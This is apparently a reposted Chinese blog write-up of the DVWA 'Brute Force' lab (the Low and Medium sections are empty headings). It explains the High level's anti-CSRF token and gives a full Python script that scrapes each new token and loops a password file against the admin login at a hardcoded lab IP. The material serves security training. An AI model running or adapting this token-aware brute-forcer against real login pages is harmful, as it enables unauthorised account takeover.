DVWA-Brute Force

DVWA-Brute Force
2023-1-8 16:31:42 Author: xz.aliyun.com(查看原文) 阅读量:23 收藏

1.Brute Force(Low)

2.Brute Force(Medium)

3.Brute Force(High)

相关代码分析

High级别的代码加入了Token，可以抵御CSRF攻击，同时也增加了爆破的难度，通过抓包，可以看到，登录验证时提交了四个参数：username、password、Login以及user_token。

每次次服务器返回的登陆页面中都会包含一个随机的user_token的值，用户每次登录时都要将user_token一起提交。服务器收到请求后，会优先做token的检查，再进行sql查询。

同时，High级别的代码中，使用了stripslashes（去除字符串中的反斜线字符,如果有两个连续的反斜线,则只去掉一个）、 mysql_real_escape_string对参数username、password进行过滤、转义，进一步抵御sql注入。

第一种方法，由于加入了Anti-CSRFtoken预防无脑爆破，存在user_token时的登录流程为:

简单用python写个脚本。

下面的脚本（python 3.7），用户名为admin，对password参数进行爆破并打印结果，仅供各位参考。

# !/usr/bin/env python
# -*- coding: utf-8 -*-
# @File  : brute_force.py
# @Author: ShenHao
# @Contact : [email protected]
# @Date  : 20-2-4下午4:26
# @Desc  : 脚本爆破带token的web网站

from bs4 import BeautifulSoup
import requests

header = {
    'Host': '43.247.91.228:81',
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Referer': 'http://43.247.91.228:81/vulnerabilities/brute/index.php',
    'Cookie': 'security=high; PHPSESSID=lksl77ja4uiqqogplk4fl1po6u',
    'DNT': '1',
    'Connection': 'close',
    'Upgrade-Insecure-Requests': '1'
}

login_header = {
    'Host': '43.247.91.228:81',
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Cookie': 'security=high; PHPSESSID=lksl77ja4uiqqogplk4fl1po6u',
    'DNT': '1',
    'Connection': 'close',
    'Upgrade-Insecure-Requests': '1'
}

url = "http://43.247.91.228:81/vulnerabilities/brute/index.php"
login_url = r'http://43.247.91.228:81/login.php'


# 获取主界面的token
def get_login_token(requrl, header):
    response = requests.get(url=requrl, headers=header)
    data = response.text
    # print('\t', len(data))
    soup = BeautifulSoup(data, "html.parser")
    user_token = soup.select('form[action] > input[name]')[0].get('value')  # get the user_token
    return user_token


# 获取爆破界面的token
def get_target_token(requrl, header):
    response = requests.get(url=requrl, headers=header)
    data = response.text
    print('\t', len(data))
    # print(data)
    soup = BeautifulSoup(data, "html.parser")
    # user_token = soup.select('form[action] > input[type]')  # get the user_token
    user_token = soup.find_all('input')[3].get('value')  # get the user_token
    # print(user_token)
    return user_token


# 先登录主界面
login_token = get_login_token(login_url, login_header)
requests.post(url=login_url,
              headers=login_header,
              data={'username': 'admin', 'password': 'password', 'Login': 'Login', 'user_token': login_token})

# 进入目标界面
user_token = get_target_token(url, header)
i = 0
for line in open("password.txt"):
    requrl = "http://43.247.91.228:81/vulnerabilities/brute/index.php" + "?username=admin&password=" + line.strip() + "&Login=Login&user_token=" + user_token
    print(i, '\tadmin\t', line.strip(), end='\t')
    user_token = get_target_token(requrl, header)
    i += 1

print('Task Done!')